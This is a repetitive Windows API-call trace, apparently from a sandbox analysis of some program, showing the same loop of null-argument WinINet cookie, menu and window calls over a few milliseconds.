	[0079.086] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.086] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.086] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.086] GetMenuCheckMarkDimensions () returned 983055
	[0079.086] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.088] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.088] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.088] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.088] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.088] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.088] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.088] GetMenuCheckMarkDimensions () returned 983055
	[0079.088] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.088] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.088] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.088] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.088] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.088] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.088] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.088] GetMenuCheckMarkDimensions () returned 983055
	[0079.088] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.088] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.088] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.088] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.088] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.089] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.089] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.089] GetMenuCheckMarkDimensions () returned 983055
	[0079.089] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.089] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.089] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.089] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.089] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.089] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.089] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.089] GetMenuCheckMarkDimensions () returned 983055
	[0079.089] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.089] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.089] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.089] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.089] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.089] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.089] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.089] GetMenuCheckMarkDimensions () returned 983055
	[0079.089] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.089] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.089] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.089] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.089] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.089] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.089] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.089] GetMenuCheckMarkDimensions () returned 983055
	[0079.089] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.089] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.089] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.089] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.089] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.089] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.089] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.089] GetMenuCheckMarkDimensions () returned 983055
	[0079.089] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.090] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.090] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.090] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.090] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.090] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.090] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.090] GetMenuCheckMarkDimensions () returned 983055
	[0079.090] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.090] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.090] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.090] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.090] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.090] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.090] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.090] GetMenuCheckMarkDimensions () returned 983055
	[0079.090] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.090] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.090] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.090] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.090] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.090] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.090] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.090] GetMenuCheckMarkDimensions () returned 983055
	[0079.090] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.090] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.090] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.090] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.090] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.090] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.090] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.090] GetMenuCheckMarkDimensions () returned 983055
	[0079.090] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.090] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.090] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.091] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.091] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.091] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.091] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.091] GetMenuCheckMarkDimensions () returned 983055
	[0079.091] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.091] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.091] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.091] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.091] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.091] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.091] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.091] GetMenuCheckMarkDimensions () returned 983055
	[0079.091] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.091] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.091] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.091] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.091] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.091] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.091] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.091] GetMenuCheckMarkDimensions () returned 983055
	[0079.091] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.091] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.091] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.091] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.091] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.091] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.091] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.091] GetMenuCheckMarkDimensions () returned 983055
	[0079.092] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.092] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.092] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.092] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.092] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.092] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.092] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.092] GetMenuCheckMarkDimensions () returned 983055
	[0079.092] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.092] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.092] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.092] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.092] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.092] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.092] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.092] GetMenuCheckMarkDimensions () returned 983055
	[0079.092] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.092] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.092] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.092] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.092] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.092] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.092] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.092] GetMenuCheckMarkDimensions () returned 983055
	[0079.092] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.092] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.092] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.092] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.092] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.092] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.092] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.092] GetMenuCheckMarkDimensions () returned 983055
	[0079.092] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.092] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.092] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.093] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.093] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.093] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.093] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.093] GetMenuCheckMarkDimensions () returned 983055
	[0079.093] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.093] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.093] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.093] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.093] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.093] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.093] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.093] GetMenuCheckMarkDimensions () returned 983055
	[0079.093] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.093] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.093] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.093] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.093] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.093] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.093] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.093] GetMenuCheckMarkDimensions () returned 983055
	[0079.093] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.093] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.093] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.093] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.093] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.093] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.093] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.093] GetMenuCheckMarkDimensions () returned 983055
	[0079.093] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.093] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.093] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.093] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.093] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.093] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.093] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.093] GetMenuCheckMarkDimensions () returned 983055
	[0079.093] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.094] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.094] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.094] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.094] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.094] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.094] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.094] GetMenuCheckMarkDimensions () returned 983055
	[0079.094] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.094] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.094] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.094] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.094] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.094] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.094] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.094] GetMenuCheckMarkDimensions () returned 983055
	[0079.094] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.094] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.094] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.094] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.094] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.094] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.094] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.094] GetMenuCheckMarkDimensions () returned 983055
	[0079.094] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.094] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.094] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.094] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.094] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.094] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.094] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.094] GetMenuCheckMarkDimensions () returned 983055
	[0079.094] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.094] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.094] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.094] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.095] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.095] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.095] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.095] GetMenuCheckMarkDimensions () returned 983055
	[0079.095] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.095] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.095] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.095] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.095] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.095] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.095] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.095] GetMenuCheckMarkDimensions () returned 983055
	[0079.095] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.095] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.095] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.095] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.095] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.095] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
	[0079.095] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0xdef380) returned 0
	[0079.095] GetMenuCheckMarkDimensions () returned 983055
	[0079.095] TrackMouseEvent (in: lpEventTrack=0xdef2c4 | out: lpEventTrack=0xdef2c4) returned 0
	[0079.095] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0xf58c7036) returned 0x0
	[0079.095] GetClientRect (in: hWnd=0x0, lpRect=0xdef364 | out: lpRect=0xdef364) returned 0
	[0079.095] InternetGetCookieW (in: lpszUrl=0x0, lpszCookieName=0x0, lpszCookieData=0x0, lpdwSize=0x0 | out: lpszCookieData=0x0, lpdwSize=0x0) returned 0
	[0079.095] InternetHangUp (dwConnection=0x0, dwReserved=0x0) returned 0x0
	[0079.095] InternetGetPerSiteCookieDecisionW (in: pchHostName=0x0, pResult=0x0 | out: pResult=0x0) returned 0
